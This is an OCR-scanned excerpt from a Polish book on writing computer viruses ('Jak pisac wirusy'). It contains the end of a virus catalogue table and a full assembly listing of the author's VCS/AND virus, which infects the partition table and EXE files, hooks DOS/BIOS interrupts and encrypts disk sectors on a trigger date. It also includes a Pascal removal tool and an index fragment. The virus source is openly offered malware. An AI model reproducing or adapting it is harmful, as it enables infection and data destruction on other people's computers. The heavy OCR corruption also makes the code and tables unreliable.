SURIV(OZ x® = 14gg Q,P
Sverdlov (21 oMM X x 1962 O,P
Swap Boct x .. bl N/A B
Swiss .. . X X 143 O,P,D
Taiwan (9} . .ox 708 f2d
Taiwani X oM oM oM oX 2905 a,2,D,L
Taiwand . M OX X XX 2576 O, B,
Teladom Boob XX . X X M/A E. P
Telecom File XX LK 3700 B,P,0,D
Terroxr (3} N KX x H 1085 0,p.F
Tester X M X 1300 Q. P
Tiny {19} XX 163 0,P
Tiny-133 . XX 133 o,P
Traceback (3} x x X 30646 P
Tuesday (2) x X x x 1163 O,F,L
Tumen Vo ¥ X x 1663 o,P,L,D
Tumen V2 M 1092 0,P,L,D
Tvpo/Fumnble x 3 887 0, p
Typo Boot {2} e X L. . L XX N/R o, B
USSR 492 S e e X ... 492 o,F
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Te¢hnika:
1. 10 Atakuje tablice partycii dysku--10--—m—--wo +
] 9 Atakuje boot sektor dysku------ R ettt + ]
' 8 Atakuje boot sektor dyskietek-8———— oo +
7 Atakuje pliki nakiadkowe----- F e +
6 Atakuje pliki typu EXE------ fom——- +
5 Atakuje pliki typu COM---—-- Bmw o —— +
4 Atakuje COMMAND,COM---——-- U—
3 Ingtaluje sie w pamieci--3-—-+ o I
2 Sam sie rozkedowuje--——- 2——+ | | i |
1l Uzywa techniki Stealth-1-+ | | | “miana dlugodci
o zainfekowanego
EEEERE programs
l 234586782910 | Zniszczenia
RN | |
; Nazwa VYV VVVVVYVY VY WV v
USSR-394 N S T S 394 B, D
USSR 1049 L X XK ... . 1049 O,P.L
USSR {11} X .. X 575 O,P
USER-257 x H K 257 P,D
USSR-948 b X OH X 945 ¢, P, D
USS5R-696 bl b 696 BE,D
TUSSR-707 x 2K 707 F,D
USSE-711 x .M 711 B,D
ISSR-600 = b 4 500 B, D
USSR-256 (5} x o 256 E,D
USSRZ144 (8} XX % X XX 2144 L,0,P,D
USSR311 . x 321 a,P
USSRE14 M X x 516 0,p
USSE830 ¥ ¥ ox E30 o,P
V=125 X X x 125 D
V=280 L ox 299 Q,P.D
V-555 XX X ¥ X 555 O,P,L
v-861 X X X g6l Q. P
V-483 X X X 483 0, L
v-801 XX X x X 801 0,.F,L
V2000 (3) XK ¥ x X 2000 a,F,L
V2100 (5) o X M ox 2100 0,2,L,D
VBCOO (3} XXX . X ) o,P, L
VE1Z (2) X ¥ N xH X ai2 O.D
VACSINA (17) X XX 1206 O,p
Veomm (5) . b 1074 o,P,L
Victor (2) M ELXX 24%8 P,D,L
Vienna/648 (42) - 643 P
Violator {5} R 105% ¢, P,D
Virus-101 DX X X M XX X 2580 P
Virus-9g .. X X . 857 =
Voeronezh {2) XXX X MoX 1600 0,P,D
W-13 {4) .. X oL L. 5332 O,p
Warrior oL X L L X L. .. 1024 o,P,D
Whale (34) X X 4 XXM X 9218 L, 0, P. D
Wisconsin (3) . X ¥ X 825 0,P,D
Wolfman (2} .. X N X X 2064 G, P
xml LXK . b 1539 F,0,P, 1L
Yankee Doodle (9) . . X xx 2885 0,Pp
Yankee - 2 ce .. X 1581 Q,p
ZerpoHunt XA X . X H/a o, P, D
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30. Wirus VCS

Ponizej wypisany jest petny listing przykiadowege wirusa napisanege przeze mnie. W tekscie nie umieszczatem zadnych
komentarzy. Zrobilem to po 10, aby nie utatwiad zycia naszym Jerrorystom’”. Jesli przeczytates poprzednie czesci ksigki to
wszystkc powinno by dia Ciebie jasne. Jesli natomiast rozpoczates lekturg od tego misjsca to radg wrécic do poczatku
Masz prawo wykorzystywad ten program w dowalny sposcb, kopiowaé go na papier, dysk, tasme, itd., modytikowaé craz
wykorzystywad we fragmentach swoich programéw, z dwoma istotnymi pgraniczeniami:

*  Program nie mo2e by wykorzystywany w celach komercyjnych.

» Pod zadnym pozorem nie moze opuscic Twojego komputera.

tamiac te zasady, bierzesz na siebie odpowiedzialnos¢ za wszelkie konsekwencja, kidre to moze przyniesé. Na wszelki
wypadek informujg, iz s2czepionka przeciwko temu wirusowi bgdzie przeze mnie rozprewadzana jako freeware, tak wigc
wszelkie proby wklepania tego wirusa i terroryzowania komputeréw wokoto lub zarazenia pracowni w szkole, c2y uczelni nie
beda miaty specjalnych szans na pawodzenie. Zamiast tego radze dokladnie przestudiowad ksigzkg i samodzielnis poznad
swoj komputer w celach, mam nadzisjg, bardzie] pokojowych.

Wirus_VCS_(AND).

dosge
.mode tiny
.atack 30h
.data
haslo equ QLfffh
odzew equ Oaaaah
. code
tablica partyecji:
call tast_boot
XOoX ax¥, ax
mov 83, ax
mov sg,?cOOh
int 19h
mov cl,6Rshl ax,cl
mov cx,100h
sub ax,cx
MOV adres, ax
biteatd dx, 80h
MOV Cx, 2
mov as,ax
oWV bx, 0
mow ax,0206h
int 13h
MoWv ax,adres
push ax
mov ax,offset czesc_inicjujaca
push ax
recf
adres dw 09F00h
test_boot:
push ax
push bx
push cx
mov ax,090%h
mowv bx, 4eh
mov cx, 3h
int 1Gh
mowv ah,2
mowv bx, 0
mov dax, 0
int 1Ch
pop foh 4
jele)e] bx
pop ax
ret
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nog
nop

nop

nop

koniec_tablicy partycji:
czesc_inicjujaca:

mov aX, Cs

mov gg,ax

mov ds, ax

oV gp,offset bufor[100h]

MoV dx, 80h

mov cx, 9

XOY ax,ax

mov a5, ax

mov bx, 7c00hEpushes

push bx

mowv ax,0201lh

intTl3h

call instalowanie_przerwania lch
call instalowanie_przerwania_izh
retf

nop

nop

nop

nop

napisl db 13,10, 'Two] komputer zostal zainfekowany przez - ,13,10,

napigs? db ‘Wirusa VC5. Nie wylaczaj komputera bo *,13,10, 3¢

napis3 db ‘stracisz wszystkie dane na dysku twardym. *,13,10,5°
instalowanie_przerwania_lch:

push ds

push es

mov CX,CS

moy ds, ox

Xor dx, dx

mov ag,dx

mov licznik, 0

mow ax,es:70h

mov adres_lch ofs.ax

mov 25:70h,cffget przerwanie_lch
mov ax,es:72h

mev adres_lch =edq, ax

moy es:72h,cx

mov ax,es;84h

mov word ptr [adres_21h_ofs], ax
mov ax,es:86h

mov word ptr adres_21h ofs{Z) . ax
pop es

pop ds

ret

instalowanle przerwania 12h:

push ds

push es

mov ox, 08

mov ds, ox

xor dx, dx

mov es,dx

mov ax,as:48h

mov word ptriadres_12h_ofs].ax
nov eg:48h,0ffgset przerwanie 12h
mowv ax,es:dah

mov word ptr adres_1lZh ofsl(Z].ax
mowv es:dah, ox

pop es

PO ds

ret

adres_12h_ofs dd far ptr (7)
przerwanie_12h:

pushf

call gcs: far [adres_12h_ofs+2]

sub ax, 4
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mov ah, 2

int 21h

ret
wydrukowanie ostrzezenia:
push ax

push dx

push ds

mov ax,cs

mov ds, ax

mov dx,offset napisl
call pisz

mov dx,offset napisZ
call pisez .
moy dx,o0ffset napis3
call gisz

pop s

pop dx

pop ax

ret

adres_lch_ofs dw {7}
adres lch_seqg dw {7}
licznik dw 0
opoznienie equ 100h
przerwanie_lich:

push ax
push bx
push ax
push ds
push e
mov ax,cs
mnowv ds, ax )
mov ax,licznik
ine ax
Cmp ax,opoznienie
jge zmlana
mov licznik,ax
jmp wyjacie_z_lch
zmiana:
mov ah, 2ah
int 21lh
cIp dx, 060eh
jne zmien adresy
call kodowanie
call daezaktywacja
mowv ax,0fffth
push ax
mov ax, 0
push ax
retf
zmien_adresy:
nev ah, 34h
int 21lh
mov ah,es: [bx]
oL ah, ah
inz wyjscie_z_l1ch
call test_bogt
call zmien adresy_przerwan
mov ax,os
mov ds,ax
mav dx,adres_lch_ofs
mov ax,adres_Jlch_seg
mov ds, ax
mov ax, 251ch
int 21h
wyjscie_z_lch:
pon es
pop ds
pop dx
pop hx
pop ax
irel
podstawa_xcrowania db 59h
kodowanie:
mov ax,0003h
ink 10h
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4.
H
% call wydrukowanie_cstrzezenia
3 mov cX,C8
B mov ds,cx
1 mov bx,offset bufor
i mov al,Z
T mov cx, 0
X mov dx, 1lh
petla:
inec cx
CIp dx,20h
je koniec_kodowania
push ax
push bx
push ox
push oz
i int 25h
i popf
Y call xerujRpop dx
3 pop TX
3 pop bx
- pop ax
: push ax
puzh bx
push CX
push dx
1ntf 26h
pop
DOR dx
pop ox
pop bx
DoR ax
petla
keniec_kodowania:
ret
dezaktywacja:
mov dx, 80h
oV cx, 9
mnov ax, s
mov es,ax
mowv bx,offset bufor
mov ax,0201h
int 13h
mov dx, 8Ch
mov cx, 1l
mov ax,cs
mov a8, ax
mov bx,cffset bufor
MoV ax,0301lh
int 13ih
ret
Xxerj:
push 43
push 25
pueh ax
push bx
push cx
pushTdx
mov ax,cs
Mo ds,ax
mov bx, 0
mov cx,lffh
petla_xeruj:
mov bx,cx
mov ah,bvte ptr [podstawa_xercowania]
mov dh'ﬁﬁte ptr bufor [bx]
Xor ah,
mov byte ptr bufor[bx],ah
loop petla xeruj
pop dx
pop ox
pop bx
pop ax
pop es
pop ds
ret
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zinien adresy_przerwan:

sti

push a3

push bx

push CcX

push dx

push ds

push as

mov ax,haslo

int 21h

omp ax, odzew

je koniec zmiany adresow

mov CxX,CS

nov de, ox

Xor dw, dx

mowv es, dx

mow ax,eg:4ch

mowv word ptrladres_13h _ofg],ax
mov ag:4ch, offset przerwanie 13h
mowv ax,es:4eh

mov word ptr adres_l13h_ofs(2],ax
mov es:deh, ox

mov ax, es;:84h

mov word ptrladres_21h_ofs],ax
maowv 2g:84h,0ffgelt przerwanie Z1lh
mov ax,es:86h

mov word ptr adresz_21h_ofs[2).ax
mov Cc3:86h, X

koniec _zmiany adresow:

pop es

pop ds

Pop e

Dop fab’s

julsys) T

pop ax

ali

ret
preechwycenie Drzerwan:

push ds

push as

mov kb, ({offset koniec) - {offset tablica_partyeji))
mov ol, 4

shr bx, ¢l

ing bx

mov ah,4d8h

int 21h

Ine pamiec_przydzielona

mov bx, { {offset koniec) - {(offset tablica_partycji))
mev cl, 4

shr bx,cl

inc bx

mov ax,ds

mov &g, ax

mov ax,es:14

sub ax, bx

mov eg:2,ax

rush ax

mov ax, es

dec ax

mov oo, ax
- ROV ax,eg:3

sub ax, bx

o esri,ax

pop ax
pamiec_przydzielona:

push ax

MoV bx, cs

mow ds, bx

MOV &5, ax

mow di,offset tablica_partyecii
mov si,offset tablica_partycil
mov cx,offset koniec[50h]

cld

rep movah

mov ax,offzset skok _po_przeniesieniu w_panieci
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push ax

retf
Skr::k_pc'_a_p'r‘zen'ie.c;.'ieﬂ'iu_w_pami aci
call zmien_adresy_przerwan
koniec_przechwytywanizs_przerwal:
pop es

pop ds

ret

adres_21h_ofs dd far ptr (7}
licznik_zarazen db 0
przerwanie_Z21lh:

. sti
: push ax
- push bx
g push cx
g push dx
5 push s1
N push di
5 push ds
i push es
s pushf
- cmp ah, 0eh
b jne pl
. mowv al,licznik_zarazen
& inc al
Lo and al,7fh
B mov licznik_zarazen,al
i cp al,l
k- jne pl
call zarazenie_pliku
Jmp end_Z1lh
pl: cmp ax,haslo
jne D2
popf
pop es
pPOop ds
pop di
pop 81
pop dx
pop CX
pop bx
pop ax
mov ax,ocdzew
cli
iret
| I
end_21h:
popf
pop es
pop ds
pop ai
yalajel =1
popn 5h's
RopR X
o bx
pop ax
cli

jmp ca:far [adres_21h_ofa+l]
adres_. 13h afs dd far ptr f2y
przerwanie_ ~13h:

sti

pushf

cmp ah, 2
jne dale]j
CIp dh, 0
ine dale]
cmp dl, o
je dale’
Cmp dl,1
Je dale]
omp cx,1
ine dalej
mov cx, 9
dale]
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popf

cli

5 rap ca:far [adres 13h olz42]
bufor db 200h dup (7}
zarazenie tablicy_partycji:
push ds

push es

mov dx, 0080H

mov cx, 0001H

mowv ax,cs

mov ag, ax

mov bx,offset bufor
mov ax,(201lh

int 13h

mov ax, s

mov ds,ax

mov €5, ax

mov si,offset buior
mfg di,cffset tablica partycji
C

mov cx,18h

rep cmpsh

jne nie_zarazona
mp
Nle_Zarazona:

meowv dx,80h

mov cx, 9

mov ax,os

mov es,ax

mov hx,offset bufor
mov ax,0301h

int 13h

mov cx, (offset konlec_tablicy partycii)
joffset tablica_partycill
mov ax, cs

ROV ds, ax

oV es, ax

mov gi,offset tablica_partycii
mov di,offget bufor
cld

rep movsh

mov dx,80h

mov ox, 1l

mov ax, cs

mov a5, ax

mowv bx,offset bufor
mov ax,0301h

int 13h

mov dx, 80h

mov CR, 2

MoV ax,cs

Nov 25, 4%

mov bx,offset tablica partycji
mov ax,0306h

int 13h
k:

pop es

Pop ds

ret

ip_start dw (7)
cs_start dw (7}
napis4d: db 'Ten plik jest zarazony’,13,10,’$’
start_pliku_exe:

push ds

push es

mcv ax,haslo

int 21h

CIp ax, odzew

je wlasciwy_start_pliku
Xxor ax, ax

mov es, ax

intT12h

meny cl, 6
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shl
crmp
je
push
mev
mov
i Taald
call
pop
call
call

ax,cl

es:dah,ax

glasciwy_start_pliku
s

ax,cs
gy, ax

Aw,offzet napisd

pisz

ds

przechwycenie_przerwan
rzarazenie tablicy partyecji

wlasciwy_start_pliku:

mowv
mov
mev
mov
pop
bop
mov
add
add
push
push
retf
handle

dlugosc_pliku_segdw (?
dlugosc_pliku_ofsdw (7

cX,CS
ds, cx

ax,cs_start
b, ip_start

dw{?}
}
}

naglowek dw (?})

. CZas dw (7}
“data adw (?])
wWZorzec db "% .ex=', 0
zarazenie pliku:
push ax
push bx
push CX
push dx
push si
pushTdi
push ds
push a5
pusht
mov ah, 4eh
mov X, C8
mov ds,cx
mov dx,offset wzorzec
mov cx, OLh
int 21h
jnec znaleziony plik typu_exe
jmp keniec_zarazania_pliku
zhaleziony plik_typu_exe:
mov ah,2fh
int 21lh
mov CcX, eg
mev ds, cx
mov dx, bx
add dx, leh
gzukanie niezarazonego_pliku:
mov ax,3402h
int ilh
mov cxX,CS
mov ds, ox
mov bx,ax
mov handle,ax
mov ax,h700h
int 21lh
cmp cl,0ffh
dne do_zarazenia
. mov ah, 3eh
int 21h
mov ah,4fhRint 21h
jne znaleziony_plik_typu exe
Jinp . koniec_zarazania_pliku

do_rzarazenia:
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mov cl,0ffh

mov data,dx

mowv ozas, cx

mov cx, 0

movTdax, 0

mov ax,4202h

int <lh )

mov dlugesc, pliku_seg,.dxRmovdlugosc_pliku_ofs,ax
mov cx, 0

mov dx,

mov ax,4200h

int 21h

mov ax,cs

mov ds,ax

mov dx,cffset bufor

mov cx,20h

mowv ax,3f00h

int 21h

cmp word ptr fbufor], ZM’
je plik typu_exe

Jmp plik_za_duzy
plik typu_exe:

mowv ax,offgset koniec

mowv .ooel1,98

ahr ax,cl

and ax,l1ffh

mov Cx, ax

mowv ax,word ptr bufor[4]
add ax,cx

ine ax

i LoATa word ptr bufor(4],ax
mov ax,word pLlr bufor[8]
mov naglowek, ax

mov ax,woxrd ptr buforiléh]
mov cs_start,ax

mov ax, ddugosc_pliku_seg
cmp ax, 02h

jle plik_ok

1@£ plik_za_duzy
plik_ok:

mov <1,0Ch

shl ax,cl

and ax,0f000h

mowv dx, ax
movTax,dlugoscifliku“Dfs

mov «1,04h

shr ax,cl

and ax,0ffth

add ax,dx

movy dx, naglowek

sub ax, dx

ing ax

mov word pty bufor[1l6h], ax
mov ax,word ptr bufor[l14h]
nev ip_start,ax

mov ax,cffset start_pliku_exe
mov word ptr buforf{idh],ax
mov cx,

mov A, O

N ax,4200h

int 21lh

mov dx,offset bufor

mov cx, 20h

mov ax,4000h

int 21h

mov cx,

moy dx, 0

mov ax,4202h

int 21h

mosy ax,dlugosc_pliku_onfs
and ax,000fh

cmp ax,0

jne zackraglenie do_16
mov cx, 0fh

Jmp oK
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zaokraglenie_do_l16:

T S .

mov cx,000th
sub c¥,ax
O_I_K:
i inac T
i MoV dx, offset tablica_partycji
i mowv ax,4000h
int 21lh
mov ox, 0
movTdx, 0
mov ax,4202h
int 21lh
mov dx,offset tablica_partyciil
: mov ax,offeat koniec
I mow cl, 9
: ghz aw,cl
inc ax
BAE mov cl,9
b shl ax,cl
S mov CxH, ax
mow ax, 4000h
int 21h
plik za duzy:
mov o, CZas
moy dx,data
mov ax,5701lh
int 21lh
mowTah, 3eh
int
keniec zarazania pliku:
popt
oD es
pop ds
pop di
pop si
pop dx
pop X
PCP bx
g pop ax
. ret
b install:
;- call zarazenie_tablicy partycii
S mov . ah,4ch
E int 21h
i koniec: end install
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32. Szczepionka

{54+ ,B-, D+, E+,P-,G6-,I+,L+,N~,0-,R-,8+,V+, %X~}
(oM 16364,0,2003G0)
{*****itttit**t********i********i**-}r*itt*it***********i*****}
[** **}
{*=* STCZEPICHEA PRZECIWED WIRUSOWI VCS/AND *%3
{** **]
E:: ANDRZEJ DUDEK JELENIA GORA 01 08 1992FREEWARE ::%
* PROGRAM MOZE BYC DOWOLNIE ROZPOWSZECHNIANY I **}
{*=* MODYFIKOWANY . )
{*¥* W PREZYPADKU DOKONANIA JAKICHKOLWIEK ZMIAN PROSZE O * %
{** ZAZNACZENIE TECO W TYM MIEJSCU. * k)
* %

* &
{********it***********#**ri*******itt*t*********************}

uses menus, app, drivers, cbhjects, views,dialogs, dos;
const
10] of

bajty charakte
(225°%30 80 635 8¢ 70! 55, 155651, 56, p3, $E0) »

haslo=$ffEf;
odzew=5aaaa;

CZne; array
S8R, sD0, 5B, $D

var
usuniet thoolean;
butor array {(0..3000] of byte;
type
pnapis ="tnapis; |
tnapis =object {tview)
tekst rarray([l..8] of string;
numerlinii :byte;
constructor init(var bounds:trect);
procedure draw;virtual;
end;
taplikacja =object{tapplication)
menu: boolean; .
napis:pnapis;
constructor init;
procedure initdesktop;virtual;
procedure initmenubar;virtual;
procedure 1n1tstatuslmne,v1rtual
procedure pisz(s:string};
function wybor_plikow:pathstr;
procedure HandleEvent (var event:tevent);virtual;
procedure usun1ec1& Z_systemu;
procedure usuniecie z_tablicy partyceji;
procedure usuniecie z pliku {nazwa: pathstr],
i procadure usuniecie_z_grupy plikow (nazwa:pathstr);
end;
const
hel=1001;
hc2=1002;
he3=1003;
hed=1004;
heb5=1005;
he6=1006;
cml=101;
cm2=102;
cm3=103;
cmd=104;
cmB=105;
{Tnapis}

constructor tomapis.init{var bounds:trect);

var

i:integer;
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begin
tview. init {bounds);
setstate (sfshadow, true);
for i:=1 to 8 do tekst[l}:='";
numerlinii:=1;
end;

procedure tnapis.draw;
var
i:byte;
begin
tview.draw;
for 1:=1 to
writechar (0
writechar{l
writechar{t
writechar{l
writechar{é
)
0

VW~ OO
LD- ) CJ-\. -

T ]

LT

!
9
9

writechar |

O O =L

o o~
b o

writechar(0,1,#%ba,1,1);
writechar(69,1,#%ba,1,1):

end;

{Taplikacijal
constructor taplikacja.init;
var
okno ipdialog;
R tErect;
wynik :word;
i hyte;
begin
tapplication.inikt;
menubar”™ . hide;
r.assign{5,1,75,11};
napis:=newi{pnapis, init(r));
desktop”.insert{napis);
napis~.hide;
R.assigni(l10,1,70,10};
okno:=new({pdialog,init{R, ' "} };
R.assign(25.6,35,8};
oknio” . insert {new{PFbutton, init (R, ' ~-5~tart’,
cmok, bfdefanltill;
R.assign{l*1,59,2};
akmno” . insert {new(Pstatictext, init
(R, ’Szczepionka przeciwko wirusowl VCS/AND ) ) )
R.assigni(l,2,59,3);
okno™.ilnsert (newi(Pstatictext,
init (R, 'Andrzej Dudeklipiec 19927)));
R.assign(l.4,59,5}: )
okno” .insert {new{Pstatictext,init(R,
‘Program moze byc dowolnie kopiowany i wykorzystywany’)}):
wynik:=desktop”®.ExecView |okno};
menu: =true;
for i:=1 to 16 do buforlil :=0;
napis®.show;
end;

procedure taplikacja.initdesktop;
var r:trect;

begin
getextent{r};
r.b.y:=r.b.y-1;
desktop:=new(pdesktop,init{r)};
end;
procedure taplikacja.initmenubar;
var
r:trect;
begin

Tr.assign(27,12,55,21);
menubar : =new { Pmenubox, Init (R, NewMenu {
newitem(’~S~ystem’,'F1‘,kbFl,cml, hel,
newitem('~T~ablica partycii’, ‘F2’,kbF2Z,cm2,hc?,
newitem{ -P~1liki .EXE’,*F3', kbF3,cm3 hed,
newitem{’'~G~rupa plikow’,'F4',kbF4,cmd, hcd,
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end;

newltem|{‘~D~ezaktywacja ', ‘F5°,kbF5, cm5, hes,
newitem{’~K~oniec ', ’ESC’,kbESC, cmQuit,hcé,
nilidyiiyg,

nily);

procedure taplikacja.initstatusline;

var

begin

end;

Y:Lrect;

getextent(r) ;

r.a.yv:=r.b.y-1;

statusline: =new{pstatusiine,initir,

newstatusdef {0, 999,

newstatuskey (' ~Nacisnij Enter lub ESC !~’, kbnokey,
cmne, nil),newstatusdef{hel, hel,
newstatruskey{'Dezaktywacia wirusa VCS/AND w systemier,
kbl , cml  newstabtuskey (" ~ESC~ - Koniec -, kbhESC,

Cmguit, nil}),newstatusdef (hc2,hc2, newstatuskey(
‘Usuniecie wirusa VCS/AND =z tablicy partycii.’,
kbF2,cmZ2, newstatuskey({’'-~ESC~ - Koniec', kbE3C,

cmuit, nil)},newstatusdef {(hc3, hed, newstatuskey(
‘Usuniecie wirusa VCS/AND z plikow typu .EXE. *,
kXbF3,cm3, newstatugkey (' ~ESC~ -~ Koniec’ ,kbESC,

CmQuit, nil)},newstatusdef {hcd, hed, newstatuskey
‘Usuniecie wirusa VCS/AND z grupy plikow.’, kbF4,

cmd, newstatuskey (' ~ESC~ - Konlec',kbESC,CmQuit, nilyy,
newstatusdef (hch, heb, newstatuskey |

'Calkowita dezaktywacja wirusa VCS/AND. ', kbF5,

cmb, newskatuskey { ' ~ESC~ - Koniec', kbESC,CmQuit, nil}y,
newstatusdef (het, hob  newstatuskay(

'~ESC~ - Koniec pracy programu.’,kbESC,CmOuit, nil),
nil)yiyivihl

procedure taplikacja.pigz(z:string);

begin

and;

1

var i:byte;

with napis” do

if numerliniid then

begin
tekstinumertiniil r=g;
inc {numeriinii};

end

elseo

begin

for i:=2 to 8 do tekst[i-1]-=napis”.tekst[i];
tekst{8] :=g;

end;

napis”.draw

function taplikacja.wybor plikow:pathstr;

Var

begin

r sbrect;

dialoyg :pdialog;

linia :pinputline;Rhistoria:phigtory;
input :pathstr;

wynik rword;

r.assigni{20,2,60,9);
dialeg:=new{pdialog, init{r, 'Podaj nazwe pliku{ow) '}};
r.assign(l3,4,21,6};

dialog”.insert (new{pbut Lon,

init{r, "~U.KR.~’, cmok, bfdetault)}}:
r,ageign(23,4,37,6);

dialog®.insert (new{pbutton, init{r, '~2~ powrctem’,
cmCancel , bfnormall ) ) ;

r.assigni{2,2,38,3);

linia:=newi{pinputline, init{r,7%));
dialog”.insert({linia);

r.assign{l10,5,30,15};
historia:={new{phistory,initcir,linia,l1l)}};
historia” . hide;

dialog®.insertihistoria);
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inpub:=*\*.exe’;
dialog“.setdata{input);
napis”™.hide;
wynik::desktop“.execview(dialog};
napis”.show;
if wynikcmcancel then dialog”.getdata(input)
alse input:='';
wybor plikow:sinput;

end;

progedursa taplikacija.handleevent (var event : tevent) ;

var
nazwa:pathstr;
begin
if event.what-evecommand then
case event.command of
cmi:
_ bhegin
i usuniecie z_systemu;
; mern; =true;
i end;
. cm2 :
N begin .
. usuniecie z_tablicy_partyc)i;
- Tmenu: =true;
N end;
. cm3:
N begin
' pisz(‘Usuwam wirusa VC3 7 plikow L3 (o R I
2 _ usuniecie z grupy plikow{‘\*.exe’};
i pisz{’'Skonczylem usuwanie wirusa VCS z plikow \*.exe'}:
i meril: —true;
i end;
8 cmd :
" begin
nazwa: =wybor_plikow;
pisz{'Usuwam wirusa vCS z plikow ‘+nazwal ;
usuniecie_z_grupy_plikow{nazwa);
pisz('Skonczylem usuwanie wirusa VCS 2 plikow '+nazwa);
meru: =trus;
end;
cmb g
beglin
ugsuniecie_z_ systemu;
usuniecie_z tablicy_partycii;
pisz( ‘UsuwWam wirusa VCS z plikow “W*Lexe’);
_ usuniecie z_grupy plikow('\*.exe’);
v pisz{’Skonczylem usuwanie wirusa VCS z plikow \*.exe'):
: menu: =true;
end;
end;
if menu then
B begin
g event .what : =evcommand;
k9 event . command ; =cmmenu;
- menubar”™ . show;
ks menu:=false;
" end _
i elce.
b if {{event.what-evcommand) and {avent . conmand=cmeancel)} or )
i { {event .what=evcommand) and fevent . command-cmreleasedfocust) thenRbegin
: event .what : sevcommand;
evenkt . command: =cmaqult;
end;
tapplication.handleevent{event];
end;
procedure taplikacja.usuniecie z_ systemu;
begin
asm
mov usuniety,ORmov ax, haslo
int 21lh
CImp ax, odzew
ina HiEl
pushTds.
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moy ax,35z21h

int 21h

mov ax,es:[0174h]
mov ds,ax

oV dx,es: [G172h]
mnov ax,2512h

int 2ih

mov ax,es:[0383h]
mowv ds,ax

mov dx,ez:[0381h)]
mov ax, 2513h

int 21h

mov ax,es5:{0335h]
mowv ds, ax

mowv dx,es:[0337h]
mov ax,2521h

int 21h

pop ds

mov usuniety, 1REEL;
end;

if usuniety then pisz
{'Usunalem wirusa VC& z systemu operacyijnegso. '}
else pisz
a (‘Nie znalazlem wirusa VCS w systemie operacyinym. ’)
ena;

Erogedure taplikacja.usuniecie_z_tabliey_partycii;
egin

Asm
mov ax,hasle

ink 21h

Cmp ax,odzew

je gel

mow cdx, 0080H

mov cx, 00011

mov ax, seg bufor
mov eg,ax

mov bx,offset bufor
mows ax,0201h

int 13h

mov ax, seg bufor
mew da,ax

mov ax,seg bajty charaktervystyczne
mov 25, ax

moss si,0ffset bufor
mgg di,offset bajty_charakterystyczne
c

mowv X, 10h

rep cmpsh

je @gal

mowv usuniety,

Jmp gaz

d@l;

mov dx, 80h

mowv cx,9

mow ax, seqg bufox
mov es,ax

mov bx,offset bufor
mov ax,0201h

int 13k

mov dx, 80h

mov o, 1

mov ax,sayg bufor
mov 23, ax

mowv bx,cffset bufor
mev ax,{0301h

int 13h

mov usuniety, 1

aa@2;

end;

if usuniety then pisz )

(! Usunalem wirusa vCS z tablicy partycji.’) .
elge_plsz(' Nie znalazlem wirusa VCS w tablicy partyciji.')
end;
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proceduretaplikacja.usuniecie_z_pliku {nazwa:pathstr);

var

begin

Asm
mowv
push
1lds
mov
ink
ja
Moy
mowv
mov
movy
int
mow
mov
mov
mov
mov
int
mov
mov
mov
mev
mov
mov
cld
mov
rep

je
361
21:
mow
xOT
mov
int
mov
mov
mov
mov
mov
int
mov
xor
mov
int
mov -
MOV -
moy
mov
mov
int
mov
Xor
mov
int
mow
mov
mov
mov
nov
int
mov
sub

© TNOW

mowv
Xor
mov
ine
mowr
mov

Jak pisac wirusy

adres_nazwy:array[l..2] of word;

adres_nazwy|[2] :=seg(nazwa);
adres_nazwy[l] :sofs{nazwa)+1;

usuniety,

ds

dx, adres_nazwy
ax, 3d02h

21h

||z

bx,ax

ax,4202h

cx,-1

dx, -GB0O0R

21h

ax, seqg bufor
ds,ax

dx,offset hufor
ah,3fh

cx,B00Oh

21lh

ax, seg bufor
ds, ax

ax, seg bajty charakterystyczne
es,ax

gi,offset bufor
di,offset bajty_charakterystyczne

cx,10h
crpsb
@al
@ag2

ax,4200H

CM, OX

dx, 14H

21h

ax,seg bufor[620h]

ds,ax

dx,o0ffset bufor[620h]
ah,40h

ox,2

21h

ax,4200H

CcX,CX -
dx, 16H y
21h

ax,seg bufor[622h]

ds,ax

dx,offset bufor[622h]

ax,seg buforxr
ds,ax

dx, offset bufor
ah, 3FL.

ox, 2

21h

ax,word ptr bufor
ax, 4

word ptr bufor,ax
ax,420G0H

CX,CX

dx, 4
21hRmov ah,40h

dx,offset bufor
cxX, 2
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int
mov
mow
mov
int
mov
wor
int
pop
moV
push
aad -
mov
int
@as:
pop
end;

usuniety, 1

ds

ah,3Eh
21h

ds

if usuniety then pisz(‘Usunalem wirusa VC3 z pliku *+nazwa);

end:;

procedure taplikacja.usuniecie_z_grupy_plikow (nazwa: pathstr);

var

beagin

end;

var

sciezka ;dirstr;
nazwa_lokalna:namesktr;
rozszerzenie :extstr;

info :searchrec:
nazwa_jednoznaczna :pathstr;

if nazwa='* then exit;
faplit{fexpandi{nazwa),sciezka,nazwa lokalna,rozszerzenie) ;
findfirst{nazwa,anyfile, info);

while dogserror=0 do

begin
nazwa_jednoznaczna:=fexpand{sciezka+info.name);
usuniecie z_pliku{nazwa_jednoznaczna+%0});
ftindnext (info);

end;

findfirst(sciezka+'*,** directory, info);

while doserror=0 do

begin
if (info.attr and directory}({ then
if info.name[l]’.’ then usuniecie z grupy plikow

(sciezka+info.name+-\'+nazwa_lokalna+rozszerzenie);
findnext(info);
end;

moja_aplikacia:taplikacia;

begin

end.

moja_aplikacija.inzt;
moja_aplikacja.run;
moja_aplikacja.done
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A

BAR 85
BAD 86
BAM e 56
BAS 86
Aocumulator . . . . e e e e e e e e e e e e 4
BOC . o o o e 66
BDD . o s 12,67
BIBBHNZVEZNY . . . . . . e e e e e e e e 5
At . e ERT
BND . . . . e e e e e e e e s e e e e e 17, 67
BAPL o o o o, 68

atybutypliku . . . L e &
Atrybutyurzadzenia . . . . . o L e e e e M

AUTOEXECBAT . . . o e e e e e e e 32
Audliay Camy Flag . . . . - . . o 8
- 4
B
balt . . . . e e e e 2
Base Pointer . . . . . . o e e e e e e e e e e e e 5
Basic Input Quiput SYStem . . . . . . o L e e e e e 35
BCD . . . . . e e 32
BIOS . . L e e e e 31,335,112
O 2
bliskisoperacie . . . . . . . . L L e e e 7
blok fadujacy . . . . . . L e e e 38
BlokFCB . . . . . . . . e e e 48
bloktaduigey . . . . . . . o e e e 31,37
Bound . . . . L e e e e e 68
BP L e e e 5
B . . . e e e e e e e e 68
BOR . . . e e e e e e e e e 69
BSWAP . . . . e e 69
- §9
BT . . . . e e e e e e 70
BTR . . . . e e e e e e e e e 70
BTG . . . . e e e e e 70
BUIOrFOBOGZY .« - -« . . . e e e e e 48
BX . L e e e 4
C
Cache . . . . o e e e e e e e e e e e e e e 36
CALL . L e e e 18, 70
CEPSIOCK . . . . . . . e e e e 114
CaryFlag . . . . . . e e e e e e 6
